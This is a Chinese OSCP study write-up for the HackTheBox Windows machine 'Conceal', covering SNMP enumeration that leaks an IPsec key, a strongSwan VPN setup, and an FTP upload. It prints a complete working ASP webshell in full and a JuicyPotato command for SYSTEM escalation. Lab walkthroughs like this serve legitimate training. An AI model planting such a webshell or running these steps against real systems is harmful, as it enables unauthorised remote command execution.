OSCP备考_0x47_HackThBox靶机_Windows_conceal
nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.228.122 (扫描TCP)
我们普通的tcp啥都没有,所以考虑udp扫描
当然也有可能是防火墙,但这么严格的防火墙应该不会出现在练习上
nmap -sU --top-ports 100 10.129.228.122 (扫描UDP)
snmp可以枚举,isakmp常用来做内部vpn的一个验证口
获取到有snmap端口出来
nmap -sU -p 161 -sV -sC 10.129.228.122
然后就是使用snmp进行详细扫描
snmpwalk -v1 -c public 10.129.228.122
发现存在一个psk,psk是md5格式
解密后Dudecake1!
使用这个去登入
ike-scan 10.129.228.122 -M
注意看sa部分的几个参数
我们这里需要更改两个文件,就是下面这两个
/etc/ipsec.conf和 /etc/ipsec.secrets
修改完了连接即可
ipsec restart
ipsec up conceal
/etc/ipsec.secrets
在ipsec.conf
中写入双方IP、加密模式以及模式类型等
config setup charondebug="all" uniqueids=yes strictcrlpolicy=no conn conceal authby=secret auto=route keyexchange=ikev1 ike=3des-sha1-modp1024 left=10.10.16.43 right=10.129.228.122 type=transport esp=3des-sha1 rightprotoport=tcp
配置完成后开始连接 IPsec V\P\N
ipsec restart
ipsec up conceal
apt-get install libstrongswan-standard-plugins libstrongswan-extra-plugins ---需要安装扩展
再次启动成功连接到V\P\N
端口探测
连上 V\P\N 后我们需要再次使用 nmap 进行端口扫描
nmap -sT -p- -sV -sC --open --min-rate 10000 -oA nmap_Conceal_V\P\N 10.129.228.122
使用FTP
上传后访问404,访问还是存在问题,可能是因为服务端对执行函数进行了检查,于是上传下面这个简单的木马
需要上传些不敏感的使用
<!-- ASP Webshell Working on latest IIS Referance :- https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script http://www.w3schools.com/asp/ --> <% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAll end Function %> <HTML> <BODY> <FORM action="" method="GET"> <input type="text" name="cmd" size=45 value="<%= szCMD %>"> <input type="submit" value="Run"> </FORM> <PRE> <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %> <%Response.Write(Request.ServerVariables("server_name"))%> <p> <b>The server's port:</b> <%Response.Write(Request.ServerVariables("server_port"))%> </p> <p> <b>The server's software:</b> <%Response.Write(Request.ServerVariables("server_software"))%> </p> <p> <b>The server's software:</b> <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> <% szCMD = request("cmd") thisDir = getCommandOutput("cmd /c" & szCMD) Response.Write(thisDir)%> </p> </BODY> </HTML>
访问木马地址后成功反弹shell
权限提升[system]
JuicyPotato.exe -p C:\users\Destitute\appdata\local\temp\rev.bat -l 1340 -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}